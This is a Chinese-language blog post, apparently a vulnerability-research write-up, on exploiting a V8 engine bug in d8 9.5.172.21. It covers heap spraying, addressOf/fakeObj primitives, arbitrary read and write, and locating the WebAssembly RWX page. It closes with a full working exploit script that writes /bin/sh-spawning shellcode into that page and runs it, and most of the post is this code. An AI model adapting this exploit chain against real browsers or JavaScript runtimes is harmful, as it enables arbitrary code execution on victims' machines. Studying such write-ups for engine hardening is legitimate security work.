这篇文章拖了太久了,本来想十一结束就完成,结果刚收假就又被派去挖洞了,杂七杂八的事推到现在,也算是终于写完了😋

漏洞利用

在上文中,我们构造了这个漏洞任意地址读的原语,那么要完成漏洞利用,显然需要的就是泄露地址了。这里可以使用堆喷的方式,利用合理的堆布局来获取堆地址。

本文将使用堆喷的手法来进行漏洞利用。关于V8中堆喷的详细内容,可以查看我的上一篇文章:V8-HeapSpary

因为整个环境相对简单,整个堆构造大体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
var a = Array(0xF400);
var b = Array(0xF400);

var elemetns_addr = 0x082c2118; //调试获取堆地址
var double_array_map_addr = 0x08203b09-1;
var obj_array_map_addr = 0x08203b31-1;
var fake_elements_addr = 0x08282118;

a[0x0/0x8] = u2d(double_array_map_addr + 1, 0); //map, prototype
a[0x8/0x8] = u2d(fake_elements_addr + 1, 0x4); //elements, length

var evil_addr = elemetns_addr + 0x8;
console.log("[*] evil_addr: 0x"+hex(evil_addr))

这里实际遇到了一些问题,许多文章都是使用伪造的map和element,然而我在实际测试时,使用伪造的方式根本没法正常运行exp. 所以这里的map和element都是真实存在的结构。element用新的array b堆喷获得。其他map可以尝试使用这个漏洞进行泄露,或者像我这里一样借助压缩指针,通过调试读取(因为这两个map的低32位恰好不变)

执行流程部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function getevil() {

class C {
m() {
return super.y;
}
}

var array1 = {};
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = u2d(evil_addr+1,0x40404040);
}

function trigger(flag) {
C.prototype.__proto__ = module;

let c = new C();
c.x0 = array1;
let res = c.m();
return res;
}

for (let i = 0; i < 10; i++) {
trigger();
}
let res = trigger();
return res;
}

let evil = getevil();
%DebugPrint(evil);

可以看到确实获得了evil对象,为JSArray,此时我们便可以完成fakeObj()addressOf()方法。

image-20241017101848949

依托漏洞获取的evil对象,完成adderssOf以及fakeObj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function addressOf(obj)
{
a[0x0/0x8] = u2d(obj_array_map_addr + 1, 0);
evil[0] = obj;
a[0x0/0x8] = u2d(double_array_map_addr + 1, 0);
let addr = ftoi(evil[0]) - 1n;
return addr;
}

function fakeObj(addr)
{
a[0x0/0x8] = u2d(double_array_map_addr + 1,0);
evil[0] = itof(addr+1n);
a[0x0/0x8] = u2d(obj_array_map_addr + 1, 0);
let obj = evil[0];
return obj;
}

使用addressOf()泄露wasm_instance_addr

1
2
3
4
%DebugPrint(wasmInstance);
var wasm_instance_addr = addressOf(wasmInstance);
wasm_instance_addr = i2ul(wasm_instance_addr)
console.log('[*] wasm_instance_addr: 0x' + hex(wasm_instance_addr));

image-20241017102006196

实现任意地址读函数read64(),利用WASMinstance偏移泄露RWX段地址。这里的0x58各个版本各有不同,需要自行使用gdb调试

1
2
3
4
5
6
7
function read64(addr) {
fake_array[1] = u2d(addr-8+1, 2);
return ftoi(fake_object[0]);
}
...
var rwx_page_addr = read64(wasm_instance_addr + 0x58);
console.log('[*] rwx_page_addr: 0x' + hex(rwx_page_addr));

image-20241017141426215

image-20241017141406750

完成write64()以及copy_shellcode_to_rwx()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function write64(addr,data) {
fake_array[1] = u2d(addr-8+1,2);
fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode,rwx_addr) {
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x1cn;
buf_backing_store_addr = i2ul(buf_backing_store_addr);
console.log("[*] buf_backing_store_addr: 0x" + hex(buf_backing_store_addr));
write64(buf_backing_store_addr,rwx_addr);
%DebugPrint(data_buf);
for(let i = 0; i < shellcode.length; i++) {
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
}
...
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];//示例的shellcode

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

image-20241017145956752

参考exp

下面是我写的完整exp,对应d8版本为9.5.172.21,仅供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import * as module from "1.mjs";

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
var obj0 = Array(10);
var obj1 = {"a" : 1};
for(let i =0 ;i<10;i++) {
obj0[i] = 1.1;
}
var obj2 = [obj1];

function i2ul(i) {
bigUint64[0] = i;
return u32[0];
}
function i2uh(i) {
bigUint64[0] = i;
return u32[1];
}

function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}

function ftoi(i) {
f64[0] = i;
return bigUint64[0];
}

function itof (i) {
bigUint64[0] = i;
return f64[0];
}

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function addressOf(obj) {
a[0x0/0x8] = u2d(obj_array_map_addr + 1, 0);
evil[0] = obj;
a[0x0/0x8] = u2d(double_array_map_addr + 1, 0);
let addr = ftoi(evil[0]) - 1n;
return addr;
}

function fakeObj(addr) {
a[0x0/0x8] = u2d(double_array_map_addr + 1,0);
// evil[0] = itof(addr+1n);
b[0x0/0x8] = u2d(addr+1,0);
a[0x0/0x8] = u2d(obj_array_map_addr + 1, 0);
let obj = evil[0];
return obj;
}

function read64(addr) {
fake_array[1] = u2d(addr-8+1, 2);
return ftoi(fake_object[0]);
}

function write64(addr,data) {
fake_array[1] = u2d(addr-8+1,2);
fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode,rwx_addr) {
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x1cn;
buf_backing_store_addr = i2ul(buf_backing_store_addr);
console.log("[*] buf_backing_store_addr: 0x" + hex(buf_backing_store_addr));
write64(buf_backing_store_addr,rwx_addr);
for(let i = 0; i < shellcode.length; i++) {
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
}

// init wasm
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

/*
整理堆空间结构
*/
var a = Array(0xF400);
var b = Array(0xF400);
//这里的值均是调试获取,更稳定的map可以考虑用trigger进行leak
var elemetns_addr = 0x082c2118;
var double_array_map_addr = 0x08203b09-1;
var obj_array_map_addr = 0x08203b31-1;
var fake_elements_addr = 0x08442118;

a[0x0/0x8] = u2d(double_array_map_addr + 1, 0); //map, prototype
a[0x8/0x8] = u2d(fake_elements_addr + 1, 0x4); //elements, length
b[0x0/0x8] = u2d(double_array_map_addr + 1, 0);

var evil_addr = elemetns_addr + 0x8;
console.log("[*] evil_addr: 0x"+hex(evil_addr))

function getevil() {

class C {
m() {
return super.y;
}
}

var array1 = {};
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = u2d(evil_addr+1,0x40404040);
}

function trigger(flag) {
C.prototype.__proto__ = module;

let c = new C();
c.x0 = array1;
let res = c.m();
return res;
}

for (let i = 0; i < 10; i++) {
trigger();
}
let res = trigger();
return res;
}

let evil = getevil();
var wasm_instance_addr = addressOf(wasmInstance);
wasm_instance_addr = i2ul(wasm_instance_addr)
console.log('[*] wasm_instance_addr: 0x' + hex(wasm_instance_addr));

var fake_array = [
u2d(double_array_map_addr+1,0),
itof(0x4141414141414141n)
];
var fake_array_addr = addressOf(fake_array);
console.log('[*] fake_array_addr: 0x' + hex(fake_array_addr));
var fake_object_addr = fake_array_addr + 0x8n +0x1cn;
fake_object_addr = i2ul(fake_object_addr);
console.log('[*] fake_object_addr: 0x' + hex(fake_object_addr));
var fake_object = fakeObj(fake_object_addr);
var rwx_page_addr = read64(wasm_instance_addr + 0x60);
console.log('[*] rwx_page_addr: 0x' + hex(rwx_page_addr));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();